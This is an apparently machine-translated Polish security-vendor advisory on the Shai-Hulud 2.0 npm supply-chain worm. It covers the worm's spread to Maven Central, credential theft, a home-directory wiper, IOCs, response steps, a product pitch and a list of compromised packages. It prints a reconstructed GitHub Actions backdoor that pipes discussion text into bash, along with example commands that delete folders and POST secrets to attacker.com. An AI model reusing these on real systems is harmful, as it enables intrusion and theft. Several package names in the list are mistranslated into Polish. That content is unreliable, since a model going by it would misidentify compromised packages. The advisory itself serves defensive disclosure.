shai hulud - atak na łańcuch dostaw npm

Atak na łańcuch dostaw Shai-Hulud 2.0 NPM

TL; DR

24 listopada 2025 r. badacze odkryli Shai Hulud: Drugie przyjście, nowa fala Atak na łańcuch dostaw NPM który ponownie infekuje pakiety npm, kradnie dane uwierzytelniające i rozprzestrzenia się na komputerach programistów CI/CD pipelines. W przeciwieństwie do pierwszego incydentu, ta wersja instaluje środowisko uruchomieniowe Bun „w locie”, wdraża ukryte backdoory GitHub Actions i zawiera destrukcyjny program czyszczący zdolny do usuwania całych katalogów domowych w systemach Linux, macOS i Windows. W ciągu kilku godzin liczba zainfekowanych pakietów wzrosła do ponad 830, co potwierdza, że ​​nie jest to prosty wariant, ale poważna eskalacja. oryginalny robak.

Wpływ: każdy programista lub menedżer CI instalujący publiczne pakiety npm mógł zostać narażony na ryzyko. Zespoły Java również są zagrożone po tym, jak zainfekowane pakiety zostały automatycznie zdublowane w Maven Central.

Działania natychmiastowe: blokować znane złośliwe wersje, wymuszać instalacje tylko z użyciem pliku blokady, rotować dane uwierzytelniające npm, GitHub i chmury, usuwać nieznane programy uruchamiające hostowane samodzielnie oraz monitorować wskaźniki reakcji, takie jak setup_bun.js, bun_environment.js i podejrzane repozytoria GitHub zawierające „Sha1-Hulud: The Second Coming”.

Co się zmieniło: Shai Hulud w ataku na łańcuch dostaw NPM po przejściu na Maven

Druga fala ataku Shai Hulud przyniosła znaczną eskalację. W pierwszej kampanii robak pozostał w ekosystemie npm. Tym razem złośliwe oprogramowanie przedostało się do Centrala Mavena, ujawniając zespoły Java, które nigdy nie miały styczności z npm.

Oś czasu i okno tokena

Atak rozpoczął się November 24, 2025 tuż przed wycofaniem przez npm starszych tokenów uwierzytelniania Grudzień 9.
Te stare tokeny były łatwiejsze do kradzieży i ponownego wykorzystania. Ponieważ atakujący nadal mieli do nich dostęp w tym czasie, byli w stanie ponownie opublikować setki złośliwych wersji z dużą prędkością przed upływem terminu.

Jak złośliwe oprogramowanie dotarło do Mavena

Skok między rejestrami nastąpił z powodu mvnpm, zautomatyzowane narzędzie do tworzenia kopii lustrzanych, które konwertuje pakiety npm na artefakty Maven.

mvnpm nie przeprowadza kontroli bezpieczeństwa. Po prostu przepakowuje wszystko, co npm publikuje.

W rezultacie:

  • Zagrożony pakiet npm (na przykład posthog-node@4.18.1)
  • Został automatycznie przekonwertowany na artefakt Maven
    org.mvnpm:posthog-node:4.18.1
  • I opublikowano w Maven Central, zanim ktokolwiek zorientował się, że plik jest zainfekowany.

Oznacza to, Programiści Javy padli ofiarą naruszenia bezpieczeństwa npmnawet jeśli nigdy nie zainstalowali pakietu npm.

Dlaczego Matters to

To jest pierwszy znany robak międzyrejestrowy, gdzie atak na łańcuch dostaw rozprzestrzenia się z jednego ekosystemu do drugiego wyłącznie poprzez automatyzację.
Z tego powodu promień rażenia obejmuje teraz obciążenia Java, JVM i enterprise budować systemy oparte na Maven Central.

Co sprawia, że ​​Shai Hulud 2.0 jest tak poważny

 Środowisko wykonawcze Bun używane do unikania wykrycia

Atakujący przeszli z Node.js na środowisko wykonawcze Bun. Szkodliwe oprogramowanie instaluje Bun „w locie” za pomocą setup_bun.js podczas instalacji pakietu. Pozwala to uniknąć monitorowania specyficznego dla węzła i umożliwia atakującym szybsze wykonanie bardzo dużego, zaciemnionego ładunku.

Akcje GitHub używane jako tylne wejście do poleceń

Po zainstalowaniu złośliwe oprogramowanie tworzy ukryty, samodzielnie hostowany moduł GitHub Actions  $HOME/.dev-env/Działa to w systemach Windows, macOS i Linux. Atakujący mogą uruchamiać polecenia, po prostu publikując wiadomości w dyskusjach GitHub w zainfekowanym repozytorium. Plik przepływu pracy przetwarza te wiadomości i wykonuje je jako polecenia powłoki.

Wbudowana wycieraczka

Jeśli złośliwe oprogramowanie nie może uwierzytelnić się za pomocą GitHub lub npm, czyści katalog domowy ofiary.

  • W systemie Windows używa del, rd, szyfr /W aby wyczyścić pliki.
  • W systemach Linux i macOS nadpisuje dane strzępić a następnie usuwa katalogi.

Bardzo głośna kampania

Chociaż złośliwe oprogramowanie wykorzystuje pewne mechanizmy ukryte (na przykład wykorzystując Bun), cała kampania jest daleka od cichej. Agresywnie publikuje ponownie zainfekowane pakiety, tworzy setki, a nawet tysiące nowych repozytoriów, masowo przesyła zrzuty danych uwierzytelniających i instaluje długotrwałe, samodzielnie hostowane programy uruchomieniowe na komputerach deweloperskich. Żadne z tych działań nie jest działaniem dyskretnym. Skala, szybkość i „głośność” operacyjna tego ataku wyróżniają się na tle większości zagrożeń dla łańcucha dostaw, które zazwyczaj priorytetowo traktują pozostawanie niezauważonym jak najdłużej..

Szeroki wpływ

Napastnicy naruszyli bezpieczeństwo wielu znanych pakietów, których miesięczne pobieranie wynosiło miliony, w tym:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI i Voiceflow.

Możliwe sygnały atrybucji

Przypisanie tej atrybucji jest trudne, a nie ma potwierdzonego źródła stojące za tą kampanią. Jedna z czołowych firm zajmujących się bezpieczeństwem zauważa, że ​​operacja przypomina wcześniejszego robaka Shai-Hulud, ale różnice w sposobie budowy ładunku i rozprzestrzeniania się złośliwego oprogramowania wskazują na możliwość działania innej grupy operatorów. Ich ocena podkreśla, że ​​wiele środowisk pobrało zainfekowane pakiety, zanim npm je usunął, co sugeruje rzeczywiste narażenie na atak, a nie krótkotrwały test.

Biorąc pod uwagę, że taktyka nawiązuje do pierwszej fali, ale różni się w kluczowych kwestiach, zwłaszcza w strukturze ładunku, logice propagacji i „stylu” operacyjnym, scenariusz naśladownictwa jest prawdopodobny. Atakujący mogli zapożyczyć pomysły od Shai-Hulud, ale wdrożyli własne narzędzia. Mogłoby to oznaczać, że kolejna grupa próbuje całkowicie naśladować wcześniejszą kampanię.

Na tym etapie nie ma mocnych dowodów łączących go z jakimkolwiek znanym podmiotem, grupą motywowaną finansowo lub podmiotem powiązanym z państwem. Pokrywanie się z pierwotnym robakiem jest realne, ale różnice są na tyle istotne, że atrybucja pozostaje w kategorii „niepotwierdzone”.

Rozprzestrzenianie się w Maven

Duża firma zajmująca się bezpieczeństwem potwierdziła, że ​​złośliwe pakiety npm zostały automatycznie ponownie opublikowane w Maven za pośrednictwem mvnpm, narzędzie, które konwertuje pakiety npm na artefakty Maven bez konieczności ręcznego przeglądu.

Poniższy pakiet został przesłany do Maven Central: org.mvnpm:posthog-node:4.18.1

Ponieważ mvnpm po prostu przepakowuje wszystko, co npm opublikuje, zainfekowane wersje zostały skopiowane do ekosystemu Java, zanim ktokolwiek się zorientował.

25 listopada 2025 r. Maven Central usunął artefakty, których dotyczył problem, i rozpoczął zaostrzanie kontroli, aby zapobiec podobnym problemom międzyrejestrowym.

Oznacza to, że projekty Java, które nie mają bezpośredniego połączenia z npm, nadal mogą zostać ujawnione.

Jak działa atak Shai Hulud 2.0

Przepływ infekcji

  • Złośliwy preinstalacja skrypt jest dodany do pakiet.json.
  • setup_bun.js instaluje Bun na komputerze ofiary, jeśli go brakuje.
  • bun_environment.js (ponad 480 tys. linii zaciemnionego kodu) działa w tle.
  • Szkodliwe oprogramowanie skanuje w poszukiwaniu danych uwierzytelniających, wykorzystując techniki podobne do TruffleHog. Szuka
    • Klucze AWS, GCP i Azure
    • Tokeny GitHub
    • tokeny npm
    • Tajemnice systemu CI
  • Skradzione dane są przesyłane do publicznych repozytoriów GitHub, gdzie znajdują się opisy „Sha1-Hulud: Drugie Przyjście”.
  • Wykorzystując przechwycone tokeny, złośliwe oprogramowanie publikuje zainfekowane wersje pakietów, infekuje dostępne repozytoria GitHub i instaluje trwałe, samodzielnie hostowane programy uruchamiające w celu zdalnego wykonywania kodu.

Złośliwe przepływy pracy w GitHubie

Podczas drugiej fali ataku na łańcuch dostaw Shai-Hulud NPM złośliwe oprogramowanie stworzyło dwa ukryte przepływy pracy GitHub Actions w zainfekowanych repozytoriach. Te przepływy pracy zapewniają atakującym zdalne wykonywanie kodu, długoterminowe utrwalanie kodu i pełny dostęp do poufnych informacji systemowych.

1. Przepływ pracy typu backdoor (discussion.yaml)

Najbardziej niebezpieczny przepływ pracy polega na słuchaniu Dyskusje na GitHubie wydarzenia. Kiedy wiadomość dyskusyjna jest tworzona lub edytowana, przepływ pracy odczytuje treść wiadomości i wykonuje ją jako polecenie powłoki na komputerze ofiary.

Poniżej przedstawiono uproszczoną wersję złośliwego przepływu pracy, zrekonstruowaną na podstawie zaobserwowanych próbek:

				
					# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

				
			

Krytyczna linia jest następująca:

				
					${{ github.event.discussion.body }}

				
			

Oznacza to, że atakujący może opublikować dowolne polecenie w dyskusji na GitHubie, a samodzielnie hostowany runner natychmiast je wykona. Ponieważ samodzielnie hostowane runnery często mają dostęp do sieci wewnętrznych, danych uwierzytelniających w chmurze i sekretów CI, ta furtka umożliwia atakującemu pełne zdalne wykonanie kodu podczas ataku na łańcuch dostaw Shai Hulud NPM.

Eksploatacja wstrzykiwania poleceń

Ten przepływ pracy nadużywa sposobu, w jaki GitHub Actions przetwarza wyrażenia. Zamiast ograniczać dane wejściowe do bezpiecznych ciągów znaków, odczytuje surową treść dyskusji i przesyła ją bezpośrednio do powłoki. W rezultacie atakujący musi jedynie wysłać wiadomość taką jak:

				
					rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

				
			

Ponieważ zachowanie to powtarzało się wielokrotnie podczas ataku na łańcuch dostaw Shai Hulud NPM, stało się jednym z najwyraźniejszych sygnałów, że złośliwe oprogramowanie używało GitHub Actions jako kanału zdalnego dowodzenia.

W przypadku serwerów hostowanych samodzielnie sytuacja jest jeszcze gorsza, ponieważ:

  • działać w sieciach firmowych
  • trzymaj chmurę lub CI/CD kwalifikacje
  • wykonać z uprawnieniami użytkownika
  • nie posiadam piaskownicy ani izolacji GitHub

Daje to atakującym stały kanał poleceń do środowisk wewnętrznych.

Przepływ pracy dotyczący gromadzenia sekretów i systemów

Oprócz tylnych drzwi złośliwe oprogramowanie wprowadza inny przepływ pracy, którego celem jest zbieranie i przechowywanie poufnych danych z zainfekowanego systemu.
Te przepływy pracy gromadzą:

  • poświadczenia chmurowe
  • zmienne środowiskowe
  • listy katalogowe
  • Tajne skany w stylu TruffleHog

Zebrane dane przechowują w plikach takich jak:

  • cloud.json
  • środowisko.json
  • zawartość.json
  • truffleSecrets.json

Pliki te są następnie przesyłane do kontrolowanych przez atakujących repozytoriów GitHub oznaczonych jako „Sha1-Hulud: Drugie przyjście”, gdzie zaobserwowano setki lub tysiące wysypisk śmieci.

Wskaźniki kompromisu

filetSHA256
setup_bun.jsa3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Inne czerwone flagi

  • .github/workflows/discussion.yaml
  • $HOME/.dev-env/ zawierające nieoczekiwanych biegaczy
  • Publiczne repozytoria GitHub utworzone na Twoim koncie zawierające „Sha1-Hulud: Drugie Przyjście”

Zaktualizowane dane statystyczne (stan na 26 listopada 2025 r.)

metrycznyLiczyć
pakiety npm zagrożone830 +
Zainfekowane repozytoria GitHub28,000 +
Przesłano tajne pliki5,000 +
Zebrano łącznie wszystkie sekrety11,858
Ważne sekrety2,298

Co zrobić teraz: Reagowanie na atak na łańcuch dostaw Shai Hulud NPM

Atak na łańcuch dostaw Shai Hulud NPM wymaga szybkiej i zorganizowanej reakcji. Ponieważ ta druga fala rozprzestrzenia się na npm, GitHub, komputery deweloperów, a nawet Maven Central, zespoły powinny działać szybko, aby wykryć, ograniczyć i w pełni naprawić wszelkie zagrożenia. Poniższe kroki pomogą Ci zareagować we właściwej kolejności i zmniejszyć ryzyko dalszych zagrożeń.

Wykrywanie

  • Wyszukaj na GitHubie repozytoria z opisem „Sha1-Hulud: The Second Coming”.
  • Podczas instalacji pakietów sprawdź dzienniki instalacji Bun.
  • Sprawdź pliki package.json pod kątem nieoczekiwanych skryptów cyklu życia, zwłaszcza preinstalacja.
  • Sprawdź $HOME/.dev-env/ w systemach deweloperskich lub CI.
  • Przejrzyj dzienniki publikacji GitHub i npm pod kątem podejrzanych wydań.

Ograniczenie

  • Zmień wszystkie dane uwierzytelniające: GitHub, npm, chmura, sekrety CI, klucze API.
  • Wyłącz i usuń nieznane programy uruchamiające hostowane samodzielnie.
  • Tymczasowo zablokuj tworzenie repozytorium.
  • Usuń zainfekowane wersje z wykresu zależności.

Remediacja

  • Wyczyść uszkodzone systemy.
  • Przejrzyj wszystkie przepływy pracy GitHub Actions pod kątem wstrzykiwanych plików.
  • Przeszukaj dzienniki CI w celu znalezienia nietypowych poleceń lub uruchomień.

Ponowna kompilacja ze znanych, dobrych wersji pakietów.

Jak Xygeni pomaga powstrzymać ataki takie jak Drugie Przyjście Shai-Huluda

Po tak agresywnej kampanii jak Shai-Hulud Second Coming, zespoły potrzebują czegoś więcej niż ręcznych kontroli. Potrzebują zautomatyzowanej ochrony, która blokuje złośliwe oprogramowanie, zanim dotrze ono do programistów, menedżerów CI lub systemów produkcyjnych. Właśnie w tym obszarze Xygeni zapewnia znaczącą przewagę.

Wczesne ostrzeganie przed złośliwym oprogramowaniem (MEW): wykrywaj zagrożenia, zanim się rozprzestrzenią

 Silnik wczesnego ostrzegania Xygeni skanuje nowe i zaktualizowane pakiety open source w czasie rzeczywistym. Sygnalizuje podejrzane zachowania, takie jak:

  • Zaciemniony JavaScript lub obszerny kod pakietowy
  • Skrypty cyklu życia instalujące zewnętrzne środowiska wykonawcze, takie jak Bun
  • Nieoczekiwane połączenia z GitHub, npm lub punktami końcowymi w chmurze
  • Kroplomierze, które zapisują $HOME, .dev-env/ lub foldery przepływu pracy

System MEW wykrył wzorce używane w obu falach Shai-Hulud, co pomaga zespołom reagować, zanim atakujący rozprzestrzenią infekcję dalej.

Guardrails in CI/CD blokować złośliwe pakiety

Xygeni egzekwuje guardrails które automatycznie zatrzymują niebezpieczne operacje:

  • CI pipelinenie można instalować pakietów z ukrytymi skryptami preinstalacyjnymi lub postinstalacyjnymi
  • Kompilacje kończą się niepowodzeniem, gdy pakiet próbuje utworzyć przepływy pracy, takie jak .github/workflows/discussion.yaml
  • Pipelineodrzuca zależności publikowane z niezaufanych źródeł lub kont widzianych po raz pierwszy

Znacznie zmniejsza to powierzchnię ataku i zapobiega uruchomieniu złośliwego oprogramowania w ramach zadań CI.

Ochrona Secrets zmniejsza promień wybuchu

Ponieważ Shai-Hulud kradnie klucze do chmury, tokeny GitHub, tokeny npm i sekrety CI, ochrona musi koncentrować się również na danych uwierzytelniających. Xygeni:

  • Wykrywa ujawnione sekrety w kodzie, dziennikach, przepływach pracy i plikach środowiskowych
  • Automatyczna rotacja poświadczeń wysokiego ryzyka
  • Wymusza stosowanie tokenów o krótkim okresie ważności, aby ograniczyć ryzyko długoterminowego naruszenia bezpieczeństwa

Nawet jeśli atakujący uzyska początkowy dostęp, skradzione klucze szybko staną się bezużyteczne.

Uwagi końcowe: Dlaczego atak na łańcuch dostaw Shai Hulud NPM nadal ma znaczenie

Drugie przyjście Shai-Hulud incydent pokazuje, jak łatwo współczesny Atak na łańcuch dostaw NPM może przemieszczać się między ekosystemami. W tym przypadku złośliwe oprogramowanie przeskoczyło z npm do Mavena, ponieważ zautomatyzowane narzędzia do tworzenia kopii lustrzanych, takie jak mvnpm ponownie opublikowano zagrożone pakiety bez weryfikacji. W rezultacie zespoły Java zostały narażone, nawet jeśli nigdy nie korzystały bezpośrednio z npm. To jasno pokazuje, że przepływy pracy między rejestrami wymagają natychmiastowej weryfikacji i silniejszych zabezpieczeń.

Co więcej, skala i przebieg tej kampanii ujawniają, jak atakujący działają obecnie. Zamiast milczeć, publikują setki pakietów naraz, wdrażają ukryte programy GitHub, masowo kradną poufne dane, a nawet dołączają destrukcyjny wiper, jeśli coś zawiedzie. W rezultacie ręczne przeglądy nie nadążają za tym poziomem automatyzacji i szybkości. Zespoły potrzebują ciągłej ochrony w czasie rzeczywistym na poziomie pakietu, źródła i… pipeline warstwy.

Dlaczego ciągłe Pipeline Security Jest teraz niezbędny

Ataki takie jak Drugie przyjście Shai-Hulud będzie nadal ewoluować. Dlatego zapobieganie kolejnej fali wymaga kontroli, które działają automatycznie w CI/CD, a nie po włamaniu. Współczesne systemy obronne muszą łączyć wczesne wykrywanie złośliwego oprogramowania, ścisłą walidację zależności, egzekwowanie zasad i ochronę poufnych informacji, aby złośliwy kod nie mógł przemieszczać się w środowiskach programistycznych niezauważony.

Xygeni wspiera tę zmianę, dostarczając zautomatyzowane rozwiązania guardrails W całym łańcuchu dostaw oprogramowania. Identyfikuje podejrzane pakiety przed instalacją, wymusza bezpieczne wersje zależności, blokuje niebezpieczne przepływy pracy, wykrywa ujawnione tajne klucze i powiadamia o nietypowych pipeline Dzięki temu zespoły pozostają chronione nawet wtedy, gdy ataki na łańcuch dostaw rozprzestrzeniają się szybko i przekraczają granice ekosystemów.

Lista zagrożonych pakietów

Dotknięte pakiety można również sprawdzić za pomocą #shai-hulud / #shai-hulud-drugie-przyjście tag wewnątrz OpenSourceMalware.com

 
PakietWersja
02-echo0.0.7
@accordproject/concerto-analysis3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-kod pocztowy1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7 , 0.0.8
@alexcolls/nuxt-ux0.6.2 , 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template1.0.2 , 1.0.1
@asyncapi/edavisualiser1.2.2 , 1.2.1
@asyncapi/go-watermill-template0.2.76 , 0.2.77
@asyncapi/java-template0.3.6 , 0.3.5
@asyncapi/keeper0.0.3 , 0.0.2
@asyncapi/php-template0.1.2 , 0.1.1
@asyncapi/python-paho-template0.2.15 , 0.2.14
@asyncapi/server-api0.16.25 , 0.16.24
@asyncapi/studio1.0.3 , 1.0.2
@asyncapi/komponent-webowy2.6.7 , 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@commute/bloom1.0.3
@commute/market-data1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/koder-adresu1.1.5
@ensdomains/czarna lista1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
Rejestrator @ensdomains/hackathon1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renewal0.0.13
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/rejestrator-subdomeny0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1 , 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4 , 1.4.5
@everreal/web-analytics0.0.1 , 0.0.2
@faq-component/core0.0.4
@faq-component/react1.0.1
@fishingbooker/wtyczka-sync-przeglądarki1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/api-client9.12.3 , 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/schoolbus5.2.2 , 5.2.3
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker1.0.2 , 1.0.1
@ntnx/passport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/error-handler1.2.2
@posthog/agent1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/ikony0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/wizard1.18.1
@postman/aether-icons2.23.4 , 2.23.3 , 2.23.2
@postman/csv-parse4.0.5 , 4.0.3 , 4.0.4
@postman/node-keytar7.9.6 , 7.9.4 , 7.9.5
@listonosz/agent-tunelowy0.6.7 , 0.6.6 , 0.6.5
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@szybki-start-soft/szybki-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@seung-ju/next0.0.2
@seung-ju/openapi-generator0.0.4
@seung-ju/react-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3 , 2.0.2
@tiaanduplessis/react-progressbar1.0.2 , 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/wyrażenia-bool4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/api-client1.3.36 , 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas0.6.7 , 0.6.8
@vishadtyagi/kalendarz-całoroczny0.1.11
@voiceflow/alexa-types2.15.60 , 2.15.61
@voiceflow/anthropic0.4.4 , 0.4.5
@voiceflow/api-sdk3.28.58 , 3.28.59
@voiceflow/backend-utils5.0.2 , 5.0.1
@voiceflow/base-types2.136.3 , 2.136.2
@voiceflow/body-parser1.21.2 , 1.21.3
@voiceflow/typy-chat2.14.59 , 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1 , 0.2.2
@voiceflow/commitlint-config2.6.2 , 2.6.1
@voiceflow/common8.9.1 , 8.9.2
@voiceflow/default-prompt-wrappers1.7.4 , 1.7.3
@voiceflow/dependency-cruiser-config1.8.12 , 1.8.11
@voiceflow/dtos-interact1.40.2 , 1.40.1
@voiceflow/szyfrowanie0.3.3 , 0.3.2
@voiceflow/eslint-config7.16.4 , 7.16.5
@voiceflow/eslint-plugin1.6.2 , 1.6.1
@voiceflow/exception1.10.2 , 1.10.1
@voiceflow/fetch1.11.1 , 1.11.2
@voiceflow/general-types3.2.23 , 3.2.22
@voiceflow/git-branch-check1.4.4 , 1.4.3
@voiceflow/google-dfes-types2.17.12 , 2.17.13
@voiceflow/google-types2.21.12 , 2.21.13
@voiceflow/husky-config1.3.1 , 1.3.2
@voiceflow/logger2.4.3 , 2.4.2
@voiceflow/metrics1.5.2 , 1.5.1
@voiceflow/natural-language-commander0.5.2 , 0.5.3
@voiceflow/nestjs-common2.75.2 , 2.75.3
@voiceflow/nestjs-mongodb1.3.1 , 1.3.2
@voiceflow/nestjs-rate-limit1.3.3 , 1.3.2
@voiceflow/nestjs-redis1.3.1 , 1.3.2
@voiceflow/nestjs-timeout1.3.1 , 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1 , 1.1.2
@voiceflow/openai3.2.2 , 3.2.3
@voiceflow/pino6.11.4 , 6.11.3
@voiceflow/pino-pretty4.4.2 , 4.4.1
@voiceflow/prettier-config1.10.2 , 1.10.1
@voiceflow/react-chat1.65.4 , 1.65.3
@voiceflow/runtime1.29.1 , 1.29.2
@voiceflow/runtime-client-js1.17.3 , 1.17.2
@voiceflow/sdk-runtime1.43.2 , 1.43.1
@voiceflow/secrets-provider1.9.3 , 1.9.2
@voiceflow/semantic-release-config1.4.2 , 1.4.1
@voiceflow/serverless-plugin-typescript2.1.7 , 2.1.8
@voiceflow/slate-serializer1.7.4 , 1.7.3
@voiceflow/stitches-react2.3.3 , 2.3.2
@voiceflow/storybook-config1.2.2 , 1.2.3
@voiceflow/stylelint-config1.1.1 , 1.1.2
@voiceflow/test-common2.1.1 , 2.1.2
@voiceflow/tsconfig1.12.2 , 1.12.1
@voiceflow/tsconfig-paths1.1.5 , 1.1.4
@voiceflow/utils-designer1.74.19 , 1.74.20
@voiceflow/verror1.1.5 , 1.1.4
@voiceflow/vite-config2.6.2 , 2.6.3
@voiceflow/vitest-config1.10.3 , 1.10.2
@voiceflow/typy-głosu2.10.59 , 2.10.58
@voiceflow/voiceflow-types3.32.45 , 3.32.46
@voiceflow/widget1.7.18 , 1.7.19
@zapier/akcje-ai0.1.20 , 0.1.19 , 0.1.18
@zapier/babel-preset-zapier6.4.2 , 6.4.1 , 6.4.3
@zapier/browserslist-config-zapier1.0.4 , 1.0.3 , 1.0.5
@zapier/secret-scrubber1.1.5 , 1.1.4 , 1.1.3
sztuczna inteligencja-tarcza1.0.7
arc-cli-fc1.0.1
asyncapi-preview1.0.2 , 1.0.1
atryca1.0.1
model_automatyzacji1.0.491
axios-builder1.2.1
axios-cancelable1.0.2 , 1.0.1
